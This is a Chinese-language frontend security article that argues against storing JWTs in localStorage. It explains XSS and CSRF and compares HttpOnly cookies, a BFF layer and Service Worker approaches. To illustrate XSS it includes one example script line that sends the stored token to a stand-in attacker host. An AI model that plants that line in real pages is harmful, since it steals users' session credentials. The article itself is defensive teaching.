localStorage.setItem('token', jwtToken);
簡單、直接、有效。多年來,將 JWT 存儲在 localStorage 中似乎是前後端分離架構下的"標準答案"。但隨著網路安全威脅的持續演進,這個曾經的"最佳實踐"如今已成為巨大的安全隱患。
2025 年即將到來,前端生態日新月異。如果我們仍在沿用舊的鑑權模式,無異於將精心構建的應用暴露在風險之中。是時候更新我們的知識庫,擁抱更安全的鑑權新思路了。
localStorage 的核心問題在於其對 XSS 攻擊的脆弱性。
XSS 攻擊是指攻擊者在我們的網站上注入並執行惡意 JavaScript 腳本。注入途徑多樣,可能是用戶渲染的惡意評論,也可能是包含惡意代碼的 URL 參數。
一旦惡意腳本在頁面上成功執行,它就擁有了與我們前端代碼幾乎相同的權限。攻擊者只需一行簡單代碼,就能將存儲的 JWT 發送到自己的伺服器:
// 惡意腳本示例
fetch('https://attacker-server.com/steal?token=' + localStorage.getItem('token'));
Token 一旦被盜,攻擊者就能冒充用戶身份,訪問所有依賴該 Token 的後端介面,造成毀滅性後果。
結論:localStorage 本質上是對 JavaScript 完全開放的沙盒。任何能在我們頁面上執行的腳本都能讀寫其中所有數據。將敏感的用戶身份憑證存放在此,就像把家門鑰匙掛在門外的釘子上——方便了自己,也方便了小偷。
為解決 XSS 盜取 Token 的問題,社群提出了經典方案:使用 HttpOnly Cookie。
當伺服器設定 Cookie 時添加 HttpOnly 標誌,該 Cookie 將無法通過客戶端 JavaScript 存取,瀏覽器只會在發送 HTTP 請求時自動攜帶它。
HttpOnly Cookie 帶來了新的安全挑戰——CSRF 攻擊。
CSRF 攻擊指攻擊者誘導已登入用戶從惡意網站發起非本意的請求。例如,用戶登入了 bank.com 後訪問 evil.com,該網站上的自動提交表單會向 bank.com 的轉帳介面發起請求,瀏覽器自動攜帶 Cookie 完成轉帳。
HttpOnly Cookie 方案雖然可行,但要求後端進行精細的 Cookie 配置和 CSRF 防禦,對於現代前後端分離、特別是跨域調用場景,配置複雜度較高。
有沒有既能有效防範 XSS,又能優雅適應現代前端架構的方案?以下是兩種值得在 2025 年及以後重點關注的鑑權模式。
BFF 模式在前端應用和後端微服務之間增加"服務於前端的後端"層,專門負責鑑權、API 聚合和數據轉換。
這是更"激進"的純前端方案,利用 Service Worker 的強大能力。
方案 | 防禦 XSS 竊取 | 防禦 CSRF | 前端複雜度 | 後端/架構複雜度 | 推薦場景 |
---|---|---|---|---|---|
localStorage | ❌ 極差 | ✅ 天然免疫 | ⭐ 極低 | ⭐ 極低 | 不推薦用於生產環境的敏感數據 |
HttpOnly Cookie | ✅ 優秀 | ⚠️ 需手動防禦 | ⭐⭐ 較低 | ⭐⭐⭐ 中等 | 傳統 Web 應用,或有能力處理 CSRF 的團隊 |
BFF + Cookie | ✅✅ 頂級 | ✅✅ 頂級 | ⭐ 極低 | ⭐⭐⭐⭐ 較高 | 中大型應用,微服務架構,追求極致安全與清晰分層 |
Service Worker | ✅ 優秀 | ✅ 天然免疫 | ⭐⭐⭐⭐ 較高 | ⭐ 極低 | PWA,追求純前端解決方案,願意接受更高複雜度的創新項目 |
將 JWT 存儲在 localStorage 的時代正在過去。這不是危言聳聽,而是對日益嚴峻的網路安全形勢的積極回應。
安全不是可選項,而是必選項。在 2025 年即將到來之際,讓我們共同構建更安全、更健壯的前端應用。